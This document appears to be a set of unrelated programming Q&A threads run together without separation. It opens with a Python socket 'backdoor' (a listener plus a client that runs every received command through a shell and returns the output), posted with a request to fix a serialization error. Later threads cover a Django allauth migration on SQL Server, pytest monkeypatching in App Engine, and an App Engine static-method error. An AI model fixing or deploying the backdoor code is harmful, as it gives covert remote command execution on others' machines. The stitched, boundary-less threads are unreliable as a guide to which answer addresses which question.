I tried Encoding but is not working can anyone help me with the serialization in python3 a bytes-like object is required, not 'str'
#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
Client Code
#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()
I get errors during my initial database migration based on the models defined by django-allauth. I don't have any other models defined, and therefore I have no migration files in my django project.
Django==2.1.5
django-allauth==0.38.0
django-pyodbc-azure==2.1.0.0
Python 3.6.7
MS SQL Server 16 Build Version 13.0.4474.0 (March 2018)
This worked fine when I was using SQLite
> python manage.py showmigrations
account
[ ] 0001_initial
[ ] 0002_email_max_length
admin
[ ] 0001_initial
[ ] 0002_logentry_remove_auto_add
[ ] 0003_logentry_add_action_flag_choices
auth
[ ] 0001_initial
[ ] 0002_alter_permission_name_max_length
[ ] 0003_alter_user_email_max_length
[ ] 0004_alter_user_username_opts
[ ] 0005_alter_user_last_login_null
[ ] 0006_require_contenttypes_0002
[ ] 0007_alter_validators_add_error_messages
[ ] 0008_alter_user_username_max_length
[ ] 0009_alter_user_last_name_max_length
contenttypes
[ ] 0001_initial
[ ] 0002_remove_content_type_name
sessions
[ ] 0001_initial
sites
[ ] 0001_initial
[ ] 0002_alter_domain_unique
socialaccount
[ ] 0001_initial
[ ] 0002_token_max_lengths
[ ] 0003_extra_data_default_dict
> python manage.py makemigrations
No changes detected
> python manage.py migrate
Operations to perform:
Apply all migrations: account, admin, auth, contenttypes, sessions, sites, socialaccount
Running migrations:
Applying account.0001_initial...Traceback (most recent call last):
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/backends/utils.py", line 85, in _execute
return self.cursor.execute(sql, params)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/sql_server/pyodbc/base.py", line 546, in execute
return self.cursor.execute(sql, params)
pyodbc.ProgrammingError: ('42000', "[42000] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Foreign key 'account_emailaddress_user_id_2c513194_fk_users_customuser_id' references invalid table 'users_customuser'. (1767) (SQLExecDirectW)")
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "manage.py", line 15, in <module>
execute_from_command_line(sys.argv)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/core/management/__init__.py", line 381, in execute_from_command_line
utility.execute()
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/core/management/__init__.py", line 375, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/core/management/base.py", line 316, in run_from_argv
self.execute(*args, **cmd_options)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/core/management/base.py", line 353, in execute
output = self.handle(*args, **options)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/core/management/base.py", line 83, in wrapped
res = handle_func(*args, **kwargs)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/core/management/commands/migrate.py", line 203, in handle
fake_initial=fake_initial,
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/migrations/executor.py", line 117, in migrate
state = self._migrate_all_forwards(state, plan, full_plan, fake=fake, fake_initial=fake_initial)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/migrations/executor.py", line 147, in _migrate_all_forwards
state = self.apply_migration(state, migration, fake=fake, fake_initial=fake_initial)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/migrations/executor.py", line 244, in apply_migration
state = migration.apply(state, schema_editor)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/backends/base/schema.py", line 106, in __exit__
self.execute(sql)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/sql_server/pyodbc/schema.py", line 653, in execute
cursor.execute(sql, params)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/backends/utils.py", line 68, in execute
return self._execute_with_wrappers(sql, params, many=False, executor=self._execute)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/backends/utils.py", line 77, in _execute_with_wrappers
return executor(sql, params, many, context)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/backends/utils.py", line 85, in _execute
return self.cursor.execute(sql, params)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/utils.py", line 89, in __exit__
raise dj_exc_value.with_traceback(traceback) from exc_value
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/django/db/backends/utils.py", line 85, in _execute
return self.cursor.execute(sql, params)
File "/home/testuser/envs/venv367/lib/python3.6/site-packages/sql_server/pyodbc/base.py", line 546, in execute
return self.cursor.execute(sql, params)
django.db.utils.ProgrammingError: ('42000', "[42000] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Foreign key 'account_emailaddress_user_id_2c513194_fk_users_customuser_id' references invalid table 'users_customuser'. (1767) (SQLExecDirectW)")
This is the models.py file in the account app. Please note, this is part of the django-allauth package -- not my code. My code doesn't have any models defined.
from __future__ import unicode_literals
import datetime
from django.core import signing
from django.db import models, transaction
from django.utils import timezone
from django.utils.crypto import get_random_string
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _
from . import app_settings, signals
from .. import app_settings as allauth_app_settings
from .adapter import get_adapter
from .managers import EmailAddressManager, EmailConfirmationManager
from .utils import user_email
#python_2_unicode_compatible
class EmailAddress(models.Model):
user = models.ForeignKey(allauth_app_settings.USER_MODEL,
verbose_name=_('user'),
on_delete=models.CASCADE)
email = models.EmailField(unique=app_settings.UNIQUE_EMAIL,
max_length=app_settings.EMAIL_MAX_LENGTH,
verbose_name=_('e-mail address'))
verified = models.BooleanField(verbose_name=_('verified'), default=False)
primary = models.BooleanField(verbose_name=_('primary'), default=False)
objects = EmailAddressManager()
class Meta:
verbose_name = _("email address")
verbose_name_plural = _("email addresses")
if not app_settings.UNIQUE_EMAIL:
unique_together = [("user", "email")]
def __str__(self):
return "%s (%s)" % (self.email, self.user)
def set_as_primary(self, conditional=False):
old_primary = EmailAddress.objects.get_primary(self.user)
if old_primary:
if conditional:
return False
old_primary.primary = False
old_primary.save()
self.primary = True
self.save()
user_email(self.user, self.email)
self.user.save()
return True
def send_confirmation(self, request=None, signup=False):
if app_settings.EMAIL_CONFIRMATION_HMAC:
confirmation = EmailConfirmationHMAC(self)
else:
confirmation = EmailConfirmation.create(self)
confirmation.send(request, signup=signup)
return confirmation
def change(self, request, new_email, confirm=True):
"""
Given a new email address, change self and re-confirm.
"""
with transaction.atomic():
user_email(self.user, new_email)
self.user.save()
self.email = new_email
self.verified = False
self.save()
if confirm:
self.send_confirmation(request)
#python_2_unicode_compatible
class EmailConfirmation(models.Model):
email_address = models.ForeignKey(EmailAddress,
verbose_name=_('e-mail address'),
on_delete=models.CASCADE)
created = models.DateTimeField(verbose_name=_('created'),
default=timezone.now)
sent = models.DateTimeField(verbose_name=_('sent'), null=True)
key = models.CharField(verbose_name=_('key'), max_length=64, unique=True)
objects = EmailConfirmationManager()
class Meta:
verbose_name = _("email confirmation")
verbose_name_plural = _("email confirmations")
def __str__(self):
return "confirmation for %s" % self.email_address
#classmethod
def create(cls, email_address):
key = get_random_string(64).lower()
return cls._default_manager.create(email_address=email_address,
key=key)
def key_expired(self):
expiration_date = self.sent \
+ datetime.timedelta(days=app_settings
.EMAIL_CONFIRMATION_EXPIRE_DAYS)
return expiration_date <= timezone.now()
key_expired.boolean = True
def confirm(self, request):
if not self.key_expired() and not self.email_address.verified:
email_address = self.email_address
get_adapter(request).confirm_email(request, email_address)
signals.email_confirmed.send(sender=self.__class__,
request=request,
email_address=email_address)
return email_address
def send(self, request=None, signup=False):
get_adapter(request).send_confirmation_mail(request, self, signup)
self.sent = timezone.now()
self.save()
signals.email_confirmation_sent.send(sender=self.__class__,
request=request,
confirmation=self,
signup=signup)
class EmailConfirmationHMAC:
def __init__(self, email_address):
self.email_address = email_address
#property
def key(self):
return signing.dumps(
obj=self.email_address.pk,
salt=app_settings.SALT)
#classmethod
def from_key(cls, key):
try:
max_age = (
60 * 60 * 24 * app_settings.EMAIL_CONFIRMATION_EXPIRE_DAYS)
pk = signing.loads(
key,
max_age=max_age,
salt=app_settings.SALT)
ret = EmailConfirmationHMAC(EmailAddress.objects.get(pk=pk))
except (signing.SignatureExpired,
signing.BadSignature,
EmailAddress.DoesNotExist):
ret = None
return ret
def confirm(self, request):
if not self.email_address.verified:
email_address = self.email_address
get_adapter(request).confirm_email(request, email_address)
signals.email_confirmed.send(sender=self.__class__,
request=request,
email_address=email_address)
return email_address
def send(self, request=None, signup=False):
get_adapter(request).send_confirmation_mail(request, self, signup)
signals.email_confirmation_sent.send(sender=self.__class__,
request=request,
confirmation=self,
signup=signup)
This is the 0001_initial.py file in the django-allauth package. Not my code.
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
from django.conf import settings
UNIQUE_EMAIL = getattr(settings, 'ACCOUNT_UNIQUE_EMAIL', True)
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='EmailAddress',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('email', models.EmailField(unique=UNIQUE_EMAIL, max_length=75, verbose_name='e-mail address')),
('verified', models.BooleanField(default=False, verbose_name='verified')),
('primary', models.BooleanField(default=False, verbose_name='primary')),
('user', models.ForeignKey(verbose_name='user', to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE)),
],
options={
'verbose_name': 'email address',
'verbose_name_plural': 'email addresses',
},
bases=(models.Model,),
),
migrations.CreateModel(
name='EmailConfirmation',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('created', models.DateTimeField(default=django.utils.timezone.now, verbose_name='created')),
('sent', models.DateTimeField(null=True, verbose_name='sent')),
('key', models.CharField(unique=True, max_length=64, verbose_name='key')),
('email_address', models.ForeignKey(verbose_name='e-mail address', to='account.EmailAddress', on_delete=models.CASCADE)),
],
options={
'verbose_name': 'email confirmation',
'verbose_name_plural': 'email confirmations',
},
bases=(models.Model,),
),
]
if not UNIQUE_EMAIL:
operations += [
migrations.AlterUniqueTogether(
name='emailaddress',
unique_together=set([('user', 'email')]),
),
]
I expect a clean migration, with tables created. Actually got a few tables created before the error.
All error due to all auth not match with upgrade django version you just need to upgrade all auth to satisfy error.
Try this:
pip install --upgrade django-allauth
The error message:
pyodbc.ProgrammingError: ('42000', "[42000] [Microsoft][ODBC Driver 17
for SQL Server][SQL Server]Foreign key
'account_emailaddress_user_id_2c513194_fk_users_customuser_id'
references invalid table 'users_customuser'. (1767) (SQLExecDirectW)")
tells you that the migration is trying to find a custom user table by the name of users_customuser. That tells me that somewhere in your settings file you probably have:
AUTH_USER_MODEL = 'users.customuser'
The Django docs highly recommend creating a custom user model before starting a project, however, you don't have to. If you have the above somewhere in your settings, then you would have to create the CustomUser model in the users app. The easiest way to do that is to use from django.contrib.auth.models import AbstractUser (not AbstractBaseUser) as noted in the above Django instructions. Alternatively, you could also just remove the AUTH_USER_MODEL = 'users.customuser' from your code and stick with Django's default user model. If you use a custom user model, then create the migrations for that app first - assuming the app name is users, do:
python manage.py makemigrations users
If you remove the AUTH_USER_MODEL = ... from settings, then you should be able to just do python manage.py migrate.
Hi I'm trying ot use pytest to test some methods from an appengine app. Both methods use google.appengine.api.users.get_current_user to access current logged in user:
#pytest.fixture
def api_client():
tb = testbed.Testbed()
tb.activate()
tb.init_datastore_v3_stub()
tb.init_memcache_stub()
tb.init_user_stub()
ndb.get_context().clear_cache()
api.api_app.testing = True
yield api.api_app.test_client()
tb.deactivate()
def test_get_pipelines(api_client, mocked_google_user):
pips = _insert_pipelines()
user = LUser(user_id=mocked_google_user.user_id(), pipelines=[p.key for p in pips])
user.put()
r = api_client.get('/api/v1/pipelines')
assert r.status_code == 200
expected_result = {
'own': [
pips[0].to_dic(),
pips[1].to_dic(),
]
}
assert json.loads(r.data) == expected_result
def test_get_pipelines_no_pipelines(api_client, mocked_google_user):
r = api_client.get('/api/v1/pipelines')
assert r.status_code == 200
expected_result = {
'own': []
}
assert json.loads(r.data) == expected_result
I've created a pytest fixture to provide it:
#pytest.fixture(autouse=True)
def mocked_google_user(monkeypatch):
google_user = MockGoogleUser()
monkeypatch.setattr('google.appengine.api.users.get_current_user', lambda: google_user)
return google_user
It works fine for the first test but when executing ght second i thows an error like:
obj = <module 'google' from 'C:\Program Files (x86)\Google\Cloud SDK\google-cloud-sdk\platform\google_appengine\google\__init__.pyc'>
name = 'appengine', ann = 'google.appengine'
def annotated_getattr(obj, name, ann):
try:
obj = getattr(obj, name)
except AttributeError:
raise AttributeError(
'%r object at %s has no attribute %r' % (
> type(obj).__name__, ann, name
)
)
E AttributeError: 'module' object at google.appengine has no attribute 'appengine'
winvevn\lib\site-packages\_pytest\monkeypatch.py:75: AttributeError
I can't find why. Any suggestions?
I've managed to solve this by importing users locally on the test file
from google.appengine.api import users
and then monkeypatch this way:
#pytest.fixture(autouse=True)
def mocked_google_user(monkeypatch):
google_user = MockGoogleUser('test#example.com', 'test user', '193934')
monkeypatch.setattr(users, 'get_current_user', lambda: google_user)
return google_user
I am messing around with GAE. I want to place my database object in one file and call it from another. Here is the DB object:
import webapp2
import os
import jinja2
import json
import logging
import main
from google.appengine.ext import db
class User(db.Model):
user_name = db.StringProperty(required = True)
hashed_password = db.StringProperty(required = True)
email = db.EmailProperty(required = True)
created_dttm = db.DateTimeProperty(auto_now_add = True)
last_modified = db.DateTimeProperty(auto_now = True)
coords = db.GeoPtProperty(required = False)
# def as_dict(self):
# time_fmt = '%c'
# d = {
# 'subject':self.subject,
# 'content':self.content,
# 'created':self.created_dttm.strftime(time_fmt),
# 'last_modified': self.last_modified.strftime(time_fmt)
# }
# return d
def isValueUnique(self,column,value):
result = None
q = User.all()
q.filter(column, value)
result = q.get()
return result
I cannot instantiate the DB because it thinks I'm trying to store data.
I want to call the isValueUnique method from another file like so:
import webapp2
import os
import jinja2
import json
import logging
import main
import database
import validation
from google.appengine.ext import db
class SignUp(main.Handler):
def post(self):
user_username = self.request.get("username")
user_email = self.request.get("email")
user_pass = self.request.get("password")
user_verify = self.request.get("verify")
valid = validation.Valid()
error1=""
error2=""
error3=""
error4=""
q = database.User.all()
q.filter("username =", user_username)
result = q.get()
if result:
error1="Username already taken"
if (not valid.valid_user(user_username)) and (not error1):
error1 = "Enter a valid username"
if not valid.valid_password(user_pass):
error2 = "Enter a valid password"
if not valid.valid_pass_match(user_pass,user_verify):
error3 = "Passwords must match"
# Email Validation
email=valid.valid_email(user_email)
if not email:
error4 = "Invalid email"
email=""
elif not database.User.isValueUnique("email",email):
error4 = "Email already in use, please sign in"
email=""
I get this error:
elif not database.User.isValueUnique("email",email):
TypeError: unbound method isValueUnique() must be called with User instance as first argument (got str instance instead)
I can't instantiate User like I already said. What is the work around here?
database.User.isValueUnique("email",email)
This is attempting to call a method on the database.User class, but isValueUnique is an instance method.
If you decorate isValueUnique with #staticmethod you'll get farther.
Where are you trying to instantiate a User?